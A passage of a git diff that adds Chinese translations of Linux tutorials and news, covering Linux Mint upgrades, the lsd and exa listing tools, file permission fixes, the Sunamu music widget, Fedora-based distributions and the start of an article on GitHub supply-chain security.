软件源Software Sources 工具中,禁用附加的存储库、禁用 PPA 。 + +![Disable Ppa Mint Upgrade][30] + +你也可以在维护标签页中 **降级** ,**移除可用的外部的软件包** 。 + +例如,我使用一个 PPA 来安装 Shutter 。我在禁用它的 PPA 后,现在该软件包会变成 “陌生的foreign”,因为来自存储库中可用版本会与来自 Mnit 存储库中可用版本不匹配。 + +![Foreign Package Linux Mint][31] + +#### 步骤 6: 安装升级工具 + +现在,你的系统已经更新,你已经准备好升级到 Linux Mint 20 。Linux Mint 开发团队提供一个名称为 [mintupgrade][32] 的命令行工具,其唯一的目的是将 Linux Mint 19.3 升级到 Linux Mint 20 。 + +你可用使用下面的命令来安装这个工具: + +``` +sudo apt install mintupgrade +``` + +#### 步骤 7: 运行一次升级设备健康检查 + +`mintupgrade` 工具将会让你通过模拟升级的初始化部分来运行一次设备健康检查。 + +你可以运行这次检查来查看对你的系统做出何种更改,哪些软件包将会升级。它也将会显示不能升级和必须移除的软件包。 + +``` +mintupgrade check +``` + +在这里,它不会在你的系统上做出任何真正的更改(即使感觉上它正在进行做一些更改)。 + +这一步骤是非常重要的,有助于准确评估出你的系统是否可以升级到 Mint 20 。 + +![Mint Upgrade Check][33] + +如果这一步骤中途失败,输入 `mintupgrade restore-sources` 来返回到你原始的 APT 配置。 + +#### 步骤 8: 下载软件包升级 + +在你对 `mintupgrade`` 的检查输出感到满意后,你可以下载 Mint 20 升级软件包。 + +取决于你的互联网连接速度,它可能会在下载这些升级方面消耗一些时间。确保你的硬件系统接通到强电电源。 + +在软件包的下载期间,你可以继续使用你的系统进行常规工作。 + +``` +mintupgrade download +``` + +![Mint 20 Upgrade Download][34] + +注意,这行命令将把你的操作系统指向 Linux Mint 20 存储库。在使用这行命令后,如果你想降级到 Linux Mint 19.3 ,你仍然可以使用命令 `mintupgrade restore-sources` 来做到。 + +#### 步骤 9: 安装升级 [不可回退] + +现在,万事俱备,你可以使用这行命令来升级到 Linux Mint 20 : + +``` +mintupgrade upgrade +``` + +给它一些时间来安装新的软件包和升级你的 Mint 到相对较新的版本。在升级过程完成后,它将要求你重新启动。 + +![Linux Mint 20 Upgrade Finish][35] + +#### 享受 Linux Mint 20 + +在你重新启动你的系统后,你将看到 Mint 20 欢迎屏幕。享受新的版本。 + +![Welcome To Linux Mint 20][36] + +### 从 Mint 18 升级到 Mint 19 + +从 Linux Mint 18.3 升级到 Linux Mint 19 的步骤与你在升级到 Linux Mint 20 中所看到的步骤非常类似。唯一的变化是检查显示管理器。 + +我将在这里快速地提及这些步骤。如果你想要更多的信息,你可以参考 Mint 20 升级过程。 + +**步骤 1:** 使用 Timeshift 创建一个系统快照 [可选,但是建议] + +**步骤 2:** 在一块外部的磁盘上备份你的文件 [可选,但是建议] + +**步骤 3:** 确保你正在使用 LightDM + +对于 Mint 19 ,你必须使用 [LightDM 显示管理器][37] 。为检查你正在使用哪种显示管理器,输入命令: + +``` +cat /etc/X11/default-display-manager +``` + +如果结果是 `/usr/sbin/lightdm`,那么你就有 LightDM ,你就可以继续前进了。 + +![LightDM Display Manager in Linux Mint][38] + +在另一个方面,如果结果是 `/usr/sbin/mdm`,你需要安装 LightDM ,[切换到 LightDM][39] 并移除 MDM 。使用这行命令来安装 LightDM : + +``` +apt install lightdm lightdm-settings slick-greeter +``` + +在安装期间,它将要求你选择显示管理器。你需要选择 LightDM 。 + +在你设置 LightDM 作为你的显示管理器后,使用下面这些命令来移除 MDM 并重新启动: + +``` +apt remove --purge mdm mint-mdm-themes* +sudo dpkg-reconfigure lightdm +sudo reboot +``` + +**步骤 4: 通过安装一些可用的更新来更新你的系统** + +``` +sudo apt update && sudo apt upgrade -y +``` + +**步骤 5: 安装升级工具** + +``` +sudo apt install mintupgrade +``` + +**步骤 6: 检查升级** + +``` +mintupgrade check +``` + +**步骤 7: 下载软件包升级** + +``` +mintupgrade download +``` + +**步骤 8: 应用升级** + +``` +mintupgrade upgrade +``` + +享受 Linux Mint 19 。 + +### 你升级到 Linux Mint 21 了吗? + +升级到 Linux Mint 20 可能不会是一种友好的体验,但是,使用新的专用 GUI 升级工具来升级到 Mint 21 变得简单多了。 + +我希望你发现这篇教程有帮助。你是选择升级到 Linux Mint 21 ?还是现在一次全新的安装? + +如果你遇到一些重要问题,或者你有一些关于升级过程的问题,请在评论区随时询问。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/upgrade-linux-mint-version/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[robsean](https://github.com/robsean) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/check-linux-mint-version/ +[2]: https://itsfoss.com/wp-content/uploads/2022/08/check-for-pending-software-updates.png +[3]: https://github.com/linuxmint/mintupgrade/blob/master/usr/bin/mintupgrade +[4]: https://itsfoss.com/wp-content/uploads/2022/08/mint-upgrade-tool-home-page.png +[5]: https://itsfoss.com/wp-content/uploads/2022/08/upgrade-tool-prompting-no-timeshift-snapshots.png +[6]: https://itsfoss.com/backup-restore-linux-timeshift/ +[7]: https://itsfoss.com/wp-content/uploads/2022/08/taking-snapshot-with-timeshift.png +[8]: https://itsfoss.com/wp-content/uploads/2022/08/kazam-ppa-does-not-support-jammy.png +[9]: https://itsfoss.com/kazam-screen-recorder/ +[10]: https://itsfoss.com/wp-content/uploads/2022/08/disable-unsupported-ppas-in-software-sources.png +[11]: https://itsfoss.com/wp-content/uploads/2022/08/downgrade-package-to-avoid-conflicts.png +[12]: https://itsfoss.com/wp-content/uploads/2022/08/list-changes-that-need-to-be-done.png +[13]: https://itsfoss.com/wp-content/uploads/2022/08/phase-2-simulation-and-package-download-.png +[14]: https://itsfoss.com/wp-content/uploads/2022/08/package-downloading.png +[15]: https://itsfoss.com/wp-content/uploads/2022/08/upgrading-phase.png +[16]: https://itsfoss.com/wp-content/uploads/2022/08/selecting-orphan-packages-you-want-to-keep-with-preferences.png +[17]: https://itsfoss.com/wp-content/uploads/2022/08/specify-name-of-the-package-to-keep.png +[18]: https://itsfoss.com/wp-content/uploads/2022/08/upgrade-successful-800x494.png +[19]: https://itsfoss.com/wp-content/uploads/2022/08/neofetch-output-linux-mint-21.png +[20]: https://itsfoss.com/32-bit-64-bit-ubuntu/ +[21]: https://itsfoss.com/guide-install-linux-mint-16-dual-boot-windows/ +[22]: https://itsfoss.com/check-linux-mint-version/ +[23]: https://youtu.be/LYnXEaiAjsk +[24]: https://www.youtube.com/c/itsfoss?sub_confirmation=1 +[25]: https://itsfoss.com/wp-content/uploads/2020/07/mint-20-upgrade-check-architecture.jpg +[26]: https://itsfoss.com/wp-content/uploads/2020/07/update-manager-linux-mint.jpg +[27]: https://itsfoss.com/backup-restore-linux-timeshift/ +[28]: https://itsfoss.com/wp-content/uploads/2018/07/snapshot-linux-mint-timeshift.jpeg +[29]: https://itsfoss.com/ppa-guide/ +[30]: https://itsfoss.com/wp-content/uploads/2020/07/disable-ppa-mint-upgrade.jpg +[31]: https://itsfoss.com/wp-content/uploads/2020/07/foreign-package-linux-mint.jpg +[32]: https://github.com/linuxmint/mintupgrade/blob/master/usr/bin/mintupgrade +[33]: https://itsfoss.com/wp-content/uploads/2020/07/mint-upgrade-check.jpg +[34]: https://itsfoss.com/wp-content/uploads/2020/07/mint-upgrade-download.jpg +[35]: https://itsfoss.com/wp-content/uploads/2020/07/linux-mint-20-upgrade-finish.jpg +[36]: https://itsfoss.com/wp-content/uploads/2020/07/welcome-to-linux-mint-20.jpg +[37]: https://wiki.archlinux.org/index.php/LightDM +[38]: https://itsfoss.com/wp-content/uploads/2018/07/lightdm-linux-mint.jpeg +[39]: https://itsfoss.com/switch-gdm-and-lightdm-in-ubuntu-14-04/ diff --git a/published/202208/20220807 List Files and Directories in Style Using lsd and exa.md b/published/202208/20220807 List Files and Directories in Style Using lsd and exa.md new file mode 100644 index 0000000000..717d784a85 --- /dev/null +++ b/published/202208/20220807 List Files and Directories in Style Using lsd and exa.md @@ -0,0 +1,157 @@ +[#]: subject: "List Files and Directories in Style Using lsd and exa" +[#]: via: "https://www.debugpoint.com/list-files-directories-style/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14923-1.html" + +重新想象和设计你的文件和目录列表 +====== + +> 使用两个 ls 程序: lsd 和 exa 来重新想象和设计你的文件和目录列表。 + +![][0] + +Linux 中的 `ls` 命令是最常用的命令。此命令列出终端中的文件和目录。因此,如你所见,它非常流行,也许每个人都在使用。 + +但该命令输出的信息量很大,有时用彩色的方式查看它们会更方便。 + +例如,如果你以最基本的方式运行 `ls` 命令,它应该看起来有点像这样: + +![The default list files and directories view via ls command][1] + +这似乎有点乏味,不是吗?如果你可以对其进行一些样式设置,以便在看起来不错的同时变得更具可读性如何? + +### 以样式列出文件和目录 + +#### lsd + +我想向你展示的第一个应用叫做 `lsd`,也就是 “LSDeluxe” 的缩写。它是对 GNU `ls` 命令的重写,具有列标题、各种项目的颜色、字体和图标支持等附加功能。 + +这是安装后的样子: + +``` +lsd -l --header +``` + +![lsd command showing list of files][2] + +正如你所看到的,它看起来非常漂亮,用不同的颜色代码表示权限、文件类型和文件夹,甚至在文件名旁边添加图标。 + +该应用充满了诸如树视图(见下文)之类的功能,它甚至可以在单个命令中为你提供文件夹内的文件列表: + +``` +lsd -l --header --tree +``` + +![lsd command showing a tree view][3] + +你可以在其 [官方 GitHub 页面][4] 上了解有关其功能的更多信息。 + +我相信你很兴奋。让我们看看如何安装它。 + +你可以从 [此处下载][11] 用于 Ubuntu 和相关发行版的 deb 文件。之后,只需运行 `dpkg` 即可安装: + +``` +sudo dpkg -i lsd_vvvv_amd64.deb +``` + +对于 Fedora Linux,使用以下命令: + +``` +sudo dnf install lsd +``` + +Arch Linux 用户可以使用以下命令获取它: + +``` +pacman -S lsd +``` + +该应用也可用于其他发行版、macOS、BSD 和 Windows。对于这些说明,你可以 [在此处找到它们][5]。 + +为了获得更好的体验,请将其与 [带有 Oh My Zsh 的 Zsh shell][6] 一起使用。 + +#### exa + +下一个程序是 `exa`,类似于 `lsd` 但具有更多功能。`exa` 命令可以为你的 `ls` 输出着色,检测 Unix 系统中的各种文件类型、标题、树视图等更多功能。 + +`exa` 是一个单一的二进制文件,占用的资源很小。以下是一些示例命令: + +``` +exa -al +``` + +``` +exa -abghHliS +``` + +``` +exa -abghHliS --long --tree +``` + +![Various exa commands][7] + +你可以在 [GitHub][8] 上了解有关 `exa` 参数和选项的更多信息。 + +`exa` 的安装很简单,只需要一个命令。对于 Ubuntu 和相关发行版,你可以使用以下命令安装它: + +``` +sudo apt install exa +``` + +对于 Fedora 和 Arch Linux,分别使用以下命令: + +``` +sudo dnf install exa +``` + +``` +pacman -S exa +``` + +同样,所有其他操作系统的安装说明都可以 [在此处找到][9]。 + +### 从终端复制为 HTML + +一个有趣的技巧是,以上所有彩色列表都可以通过默认的 Ubuntu 终端复制为 HTML。你可以将它用于你的网页或文档。 + +例如,我将上面的示例复制到 LibreOffice Writer 文档中。 + +这是最好的功能之一,尽管它取决于终端程序而不是上面的程序。 + +![Exporting the command output as HTML][10] + +### 总结 + +我解释了两个程序的内部工作 – `lsd` 和 `exa` 以样式列出文件和目录。我希望你能将它们用于不同的需求。 + +如果你喜欢它们,或者如果你知道任何此类程序,请在评论栏中告诉我。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/list-files-directories-style/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[0]: https://www.debugpoint.com/wp-content/uploads/2022/08/cool-ls.jpg +[1]: https://www.debugpoint.com/wp-content/uploads/2022/08/The-default-list-files-and-directories-view-via-ls-command.jpg +[2]: https://www.debugpoint.com/wp-content/uploads/2022/08/lsd-command-showing-list-of-files-2.jpg +[3]: https://www.debugpoint.com/wp-content/uploads/2022/08/lsd-command-showing-a-tree-view.jpg +[4]: https://github.com/Peltoche/lsd +[5]: https://github.com/Peltoche/lsd#installation +[6]: https://www.debugpoint.com/install-use-zsh/ +[7]: https://www.debugpoint.com/wp-content/uploads/2022/08/Various-exa-commands.jpg +[8]: https://github.com/ogham/exa#command-line-options +[9]: https://github.com/ogham/exa#installation +[10]: https://www.debugpoint.com/wp-content/uploads/2022/08/Exporting-the-command-output-as-HTML.jpg +[11]: https://github.com/Peltoche/lsd/releases \ No newline at end of file diff --git a/published/202208/20220808 Fix file permission errors on Linux.md b/published/202208/20220808 Fix file permission errors on Linux.md new file mode 100644 index 0000000000..ba3aaa5c52 --- /dev/null +++ b/published/202208/20220808 Fix file permission errors on Linux.md @@ -0,0 +1,73 @@ +[#]: subject: "Fix file permission errors on Linux" +[#]: via: "https://opensource.com/article/22/8/fix-file-permission-errors-linux" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14929-1.html" + +修复 Linux 上的文件权限错误 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/14/170711zy6zskat0kj21y2h.jpg) + +> 不要让文件权限拖你后腿。以下是在 Linux 和 macOS 上管理它们的方法。 + +如果你通过网络或“跑腿网络”(将文件保存到硬盘,以将其复制到一台计算机)在两个用户之间共享文件,那么在尝试读取或写入文件时可能会遇到权限错误。即使你了解它的概念,你也可能不知道该如何诊断或解决问题。我曾经将数据迁移作为一项服务执行,因此我遇到了相当多的权限错误和所有权冲突。这是我快速修复它们的方法。 + +### 1、确定正确的用户 + +在修复权限错误之前,你必须确定需要权限的人是谁。你可能认为你已经知道这一点,但你可能没有意识到*用户名*并不是用户身份的最确定属性。你的计算机不会将你视为一个人,而是将你视为一个数字。要了解你的号码,请查看你的用户 ID: + +``` +$ id --user +1005 +``` + +### 2、获取当前所有者 + +接下来,确定你无法与之交互的文件的所有者。由于发生了文件权限问题,你可能需要使用 `sudo` 命令查看有关文件的信息: + +``` +$ sudo ls --numeric-uid-gid +-rw------- 1 1000 100 23041 Aug 2 05:26 bar +-rw------- 1 1000 100 54281 Aug 2 04:58 baz +-rw------- 1 1000 100 822 Aug 2 08:19 foo +``` + +在此示例中,拥有文件的用户被标识为用户 ID 1000,这就是用户 ID 1005 无法与它们交互的原因。更糟糕的是,这些文件标记为仅由拥有它们的用户可读和可写,因此即使是同一组的成员也不能与这些文件进行交互。 + +### 3、更改权限以匹配 + +你知道需要权限的用户,因此你可以更改当前所有者以匹配你当前的用户: + +``` +$ sudo chown 1005 foo +``` + +你还可以通过更改文件模式授予你的组成员以及系统上可能的其他用户对文件的访问权限。例如,在向组和任何其他用户授予读取权限(4)的同时保持读取和写入权限(7): + +``` +$ sudo chmod 744 foo +``` + +### 了解更多 + +当你对文件权限不熟悉时,它们似乎很棘手。有关文件所有权如何工作的更多信息,请阅读 [chown 简介][2]。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/8/fix-file-permission-errors-linux + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/button_push_open_keyboard_file_organize.png +[2]: https://opensource.com/article/19/8/linux-chown-command \ No newline at end of file diff --git a/published/202208/20220808 Sunamu- Display Lyrics for Currently Playing Music on the Desktop in Linux.md b/published/202208/20220808 Sunamu- Display Lyrics for Currently Playing Music on the Desktop in Linux.md new file mode 100644 index 0000000000..1cc02b0632 --- /dev/null +++ b/published/202208/20220808 Sunamu- Display Lyrics for Currently Playing Music on the Desktop in Linux.md @@ -0,0 +1,141 @@ +[#]: subject: "Sunamu: Display Lyrics for Currently Playing Music on the Desktop in Linux" +[#]: via: "https://itsfoss.com/sunamu-music-widget/" +[#]: author: "Sagar Sharma https://itsfoss.com/author/sagar/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14939-1.html" + +Sunamu:在 Linux 桌面上显示当前播放音乐的歌词 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/17/153701c3blbrgglfx7cfbr.jpg) + +作为一个吸睛的**音乐小部件**(或控制器) —— 这是 Sunamu 唯一专注的事情,它工作得很好。 + +Sunamu 是一个有趣的工具。它不是音乐播放器,但可让你显示正在播放的音乐并对其进行控制。 + +我不喜欢在我的主要工作区使用浮动小部件,但 Sunamu 简约而优雅的方法改变了我的想法! + +因此,我将向你介绍它的功能、安装、配置调整以及我的使用经验。 + +### Sunamu:开源音乐控制器 + +![playing music with sunamu][1] + +正如你在上面的截图中所注意到的,它看起来是一种显示正在播放的音乐的非常好的方式,带有歌词,同时具有基本的控件。 + +你可以播放/暂停、转到下一首/上一首曲目、随机播放和启用循环。 + +Sunamu 支持多种音频平台,包括 Spotify。它还可以检测本地收藏中的音乐,支持一些可用于 Linux 的 [最佳音乐播放器][2]。 + +此外,它还支持 Windows。因此,如果你通过 Windows 上的 Edge 浏览器流式传输某些内容,它应该可以正常工作。 + +你可以查看其 GitHub 页面上的 [兼容性列表][3] 以了解有关支持的播放器和浏览器的更多信息。 + +幸运的是,你不必受限于它默认提供的功能。它提供了一种调整配置文件的简单方法(在其 [GitHub 页面][4] 上可以了解更多信息)。这使得新手可以调整一些设置并获得乐趣。 + +我将在本文的后面部分提到一些关于它的技巧。 + +### Sunamu 的特点 + +![Sunamu on empty workspace][5] + +Sunamu 具有一些不错的特性,其中一些是: + +* 检测并显示当前正在播放的歌曲。 +* 从专辑封面中获取配色方案,并使用相同的调色板以获得更好的视觉效果。 +* 可通过配置文件进行定制。 +* 与 Discord 完美集成。 +* 消耗最少的系统资源。 + +### 在 Linux 上安装 Sunamu + +![Disable lyrics in sunamu][6] + +它提供 AppImage、deb 和 rpm 包,以便在各种 Linux 发行版中轻松安装。我使用 AppImage 进行测试,并且非常好用。 + +如果你是 Linux 新手,你还可以从我们关于 [如何使用 AppImage][7] 或 [安装 deb 包][8]、[rpm 包][9] 的指南中得到帮助。 + +有趣的是,Sunamu 是少数为基于 ARM 的机器提供直接支持的开源音乐工具之一。 + +访问他们的 [GitHub 发布页面][10]下载包或从源代码构建它。 + +**让我通过终端向你展示基于 Debian 的发行版的快速安装方法**。只需按照给定的说明进行操作,你就可以开始使用了: + +首先,让我们使用 `wget` 命令下载 .deb 包,如下所示: + +``` +wget https://github.com/NyaomiDEV/Sunamu/releases/download/v2.0.0/sunamu_2.0.0_amd64.deb +``` + +下载完包后,使用给定的命令进行安装: + +``` +sudo dpkg -i sunamu_2.0.0_amd64.deb +``` + +![install sunamu in ubuntu][11] + +### 技巧:调整配置文件 + +默认情况下,Sunamu 不会从专辑封面中获取颜色,而是显示每首歌曲的歌词。和许多其他人一样,我喜欢不看歌词。 + +Sunamu 的配置文件通常位于 `~/.config/sunamu/config.json5`。 + +要打开 Sunamu 配置文件,请输入给定的命令: + +``` +nano ~/.config/sunamu/config.json5 +``` + +如下所示在 `electron` 部分进行更改(启用颜色并禁用歌词): + +``` +electron: { + type: 'electron', + widgetMode: true, + colors: true, + font: '', + theme: 'default', + showLyrics: false, + } +``` + +这是最终配置文件的样子: + +![modify config file of sunamu][12] + +### 总结 + +除非你是避免使用基于 Electron 应用的人,否则 Sunamu 是一款足以增强你在 Linux 上的音乐体验的应用。继 [Amberol][13] 之后,这是我最近喜欢的第二款音乐相关应用。 + +如果你尝试过,请不要忘记在评论部分分享你的经验。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/sunamu-music-widget/ + +作者:[Sagar Sharma][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/sagar/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/wp-content/uploads/2022/08/playing-music-with-sunamu.png +[2]: https://itsfoss.com/best-music-players-linux/ +[3]: https://github.com/NyaomiDEV/Sunamu/blob/master/COMPATIBILITY.md +[4]: https://github.com/NyaomiDEV/Sunamu/blob/master/assets/config.json5 +[5]: https://itsfoss.com/wp-content/uploads/2022/08/song-with-no-lyrics-min.png +[6]: https://itsfoss.com/wp-content/uploads/2022/08/playing-music-with-sunamu-inclusing-lyrics-min1.png +[7]: https://itsfoss.com/use-appimage-linux/ +[8]: https://itsfoss.com/install-deb-files-ubuntu/ +[9]: https://itsfoss.com/install-rpm-files-fedora/ +[10]: https://github.com/NyaomiDEV/Sunamu/releases/tag/v2.0.0 +[11]: https://itsfoss.com/wp-content/uploads/2022/08/install-sunamu-in-ubuntu.png +[12]: https://itsfoss.com/wp-content/uploads/2022/08/modified-config-file-of-sunamu.png +[13]: https://itsfoss.com/amberol-music-player/ diff --git a/published/202208/20220809 7 Best Distributions Based on Fedora Linux.md b/published/202208/20220809 7 Best Distributions Based on Fedora Linux.md new file mode 100644 index 0000000000..a22c436496 --- /dev/null +++ b/published/202208/20220809 7 Best Distributions Based on Fedora Linux.md @@ -0,0 +1,150 @@ +[#]: subject: "7 Best Distributions Based on Fedora Linux" +[#]: via: "https://itsfoss.com/best-fedora-linux-distributions/" +[#]: author: "Abhishek Prakash https://itsfoss.com/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14951-1.html" + +7 个基于 Fedora Linux 的最佳发行版 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/21/154425baqqjmpftz7t7qt7.jpg) + +有几十个基于 Ubuntu 的发行版可用。从 [面向初学者的发行版][1] 到 [漂亮的发行版][2],Ubuntu 主导着 Linux 桌面空间。 + +如果通用发行版还不够的话,你还会发现一些 [奇怪的基于 Ubuntu 的发行版][3]。 + +我不打算参与 [Ubuntu 与 Fedora][4] 的辩论。我只是说如果你想在 Fedora 领域中尝试一些东西,我可以列出一些选项。 + +请记住,我不会列出面向服务器的 Linux 发行版。此处的列表适用于 **桌面 Linux 用户**。 + +该列表没有特定的排名顺序,并且提到的选项可能并不总是适合新用户。因此,在第一次安装任何基于 Fedora 的发行版之前,请确保你浏览了文档。 + +### 1、Fedora 定制版 + +![screenshot fedora cinnamon][5] + +Fedora 有很多定制版spin,但没有 Ubuntu 那么多。 + +[Fedora 定制版][6] 不是基于 Fedora 的独立发行版,而只是具有 [不同桌面环境][7] 或采用平铺窗口管理器的不同版本的 Fedora。 + +如果你不喜欢默认的 GNOME 桌面环境,你可以下载其中一种。 + +一些可用的选项是: + +* Fedora KDE Plasma +* Fedora i3 平铺窗口管理器 +* Fedora LXQt +* Fedora LXDE +* Fedora MATE-COMPIZ +* Fedora Cinnamon 版 + +### 2、Nobara + +![nobara][8] + +当你在找 [游戏发行版][9] 时,列表将由 Debian 和 Arch 衍生产品占据主导地位。因此,如果你正在寻找基于 Fedora 且具有相同效果的游戏发行版,那么 [Nobara][10] 就是你所需要的。 + +Nobara 是由 Proton GE 的维护者制作的游戏发行版,他也是 Lutris 开发团队的成员,因此你可以期待开箱即用的下一代游戏体验! + +为了带来更好的体验,Nobara 在 Fedora 上预先应用了 30 多个补丁程序,以及一组游戏工具,包括 Lutris、GOverlay、Stream 和 ProtonUp。 + +### 3、Ultramarine + +![ultramarine][11] + +基于 Fedora 的发行版,开箱即用,适用于普通用户,它就是 [Ultramarine][12]! + +Ultramarine 预装了一堆工具,包括 Flathub、RPM fusion 和该发行版自己的专用仓库。 + +你将获得一个预配置的桌面,使其看起来赏心悦目,因此你不再需要花费额外的时间进行调整。 + +此外,对于那些在 Fedora 基础上寻求 Pantheon 和 Budgie 桌面环境的微调体验的人来说,Ultramarine 是完美的选择。 + +### 4、RisiOS + +![risios][13] + +“一个支持 Web 应用的 Fedora。” + +这是一种描述 [RisiOS][14] 的方式,但等等,不止如此。 + +从 Bash 脚本的用户 GUI 到欢迎屏幕,你只需单击几下即可准备好系统,RisiOS 让 Fedora 的使用更加轻松! + +RisiOS 还为你提供与 Linux Mint 相同的 Web 应用管理器,而且非常棒。 + +但是在你跳转到下载页面之前,要记住一件事是 RisiOS 仍处于测试阶段(如网站所说的 Big beta),你可能会遇到一些小问题。 + +### 5、Qubes OS + +![Qubes Os][15] + +[Qubes OS][16] 是一个有趣的 Linux 发行版,它让你可以自由选择要用作基础的操作系统。它也提供了一个 Fedora 模板,并且他们会定期维护它。 + +事实上,Qubes OS 也是一个 [注重隐私的 Linux 发行版][17]。因此,你可以在使用基于 Fedora 的产品时获得最新技术,而且完全自由。 + +值得注意的是,Qubes OS 需要大量系统资源和至少 **8-16 GB** 的内存才能使用,并且具有挑战性的学习曲线。 + +### 6、Berry Linux + +![berry linux][18] + +[Berry Linux][19] 是一个简单的基于 Fedora 的发行版,你可以直接从 CD 或任何其他介质启动。它支持自动硬件检测,并且似乎定期维护。 + +Berry Linux 提供对英语和日语的支持。它预装了一些媒体播放器、照片编辑应用和基本应用。 + +### 7、ClearOS + +![clear os community edition][20] + +它不是 [来自 Intel 的 Clear Linux 项目][21],尽管听起来很相似。 + +[ClearOS][22] 是基于 Fedora 的发行版,专为服务器环境量身定制,或帮助你在 HP 支持的家庭网络上运行 IT 相关任务和流式传输音乐/视频。你必须根据自己的要求同时购买家庭版/企业版。 + +如果你不想购买而想自己管理,还有一个社区版。 + +### 你的看法 + +长期使用 Linux 的用户可能还记得 Korora 和 Chapeau 发行版。它们曾经在 Fedora 用户中很受欢迎,但从那时起这些项目就停止了。 + +虽然 Fedora 本身很棒,但我并不反对衍生发行版。看看 Linux Mint 的成功。它是 Ubuntu 的衍生产品,但已经获得了如此好的用户群。谁知道这些基于 Fedora 的发行版是否会像 Mint 一样流行? + +我缺失了任何基于 Fedora 的活跃发行版吗?你如何看待 Fedora 衍生版及其定制版本? 在下面的评论中告诉我! + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/best-fedora-linux-distributions/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/best-linux-beginners/ +[2]: https://itsfoss.com/beautiful-linux-distributions/ +[3]: https://itsfoss.com/weird-ubuntu-based-linux-distributions/ +[4]: https://itsfoss.com/ubuntu-vs-fedora/ +[5]: https://itsfoss.com/wp-content/uploads/2021/05/screenshot-fedora-cinnamon.jpg +[6]: https://spins.fedoraproject.org/ +[7]: https://itsfoss.com/best-linux-desktop-environments/ +[8]: https://itsfoss.com/wp-content/uploads/2022/08/nobara.png +[9]: https://itsfoss.com/linux-gaming-distributions/ +[10]: https://nobaraproject.org/ +[11]: https://itsfoss.com/wp-content/uploads/2022/08/ultramarine.png +[12]: https://ultramarine-linux.org/ +[13]: https://itsfoss.com/wp-content/uploads/2022/08/risios.png +[14]: https://risi.io/ +[15]: https://itsfoss.com/wp-content/uploads/2020/03/qubes-os.jpg +[16]: https://www.qubes-os.org/ +[17]: https://itsfoss.com/privacy-focused-linux-distributions/ +[18]: https://itsfoss.com/wp-content/uploads/2021/05/berry-linux.png +[19]: https://berry-lab.net/eberry.html +[20]: https://itsfoss.com/wp-content/uploads/2021/05/clear-os-community-edition.png +[21]: https://itsfoss.com/clear-linux/ +[22]: https://www.clearos.com diff --git a/published/202208/20220809 Github Takes Action To Prevent Supply Chain Attacks On Open Source.md b/published/202208/20220809 Github Takes Action To Prevent Supply Chain Attacks On Open Source.md new file mode 100644 index 0000000000..cfb28091b6 --- /dev/null +++ b/published/202208/20220809 Github Takes Action To Prevent Supply Chain Attacks On Open Source.md @@ -0,0 +1,41 @@ +[#]: subject: "Github Takes Action To Prevent Supply Chain Attacks On Open Source" +[#]: via: "https://www.opensourceforu.com/2022/08/github-takes-action-to-prevent-supply-chain-attacks-on-open-source/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "lzx916" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14949-1.html" + +为防止对开源供应链的攻击,GitHub 在行动 +====== + +![](https://www.opensourceforu.com/wp-content/uploads/2022/08/github-cover-1-1068x601.jpg) + +在 2020 年 SolarWinds 网络间谍活动之后,一系列进一步的软件供应链漏洞凸显了确保软件监管链安全的必要性。在这场间谍活动中,俄罗斯黑客渗透到一个广泛使用的 IT 管理平台,并将受污染的升级程序悄悄带入其中。由于开源项目从根本上来说是分散的,而且经常是临时的活动,因此在这种背景下,这个问题尤其紧迫。GitHub 著名的 npm 注册中心广泛使用的 JavaScript 软件包遭到一系列令人不安的黑客攻击后,该公司前不久公布了一项战略,以提供更好的开源安全保护。 + +代码签名平台 Sigstore 将由微软旗下的 GitHub 支持,以用于 npm 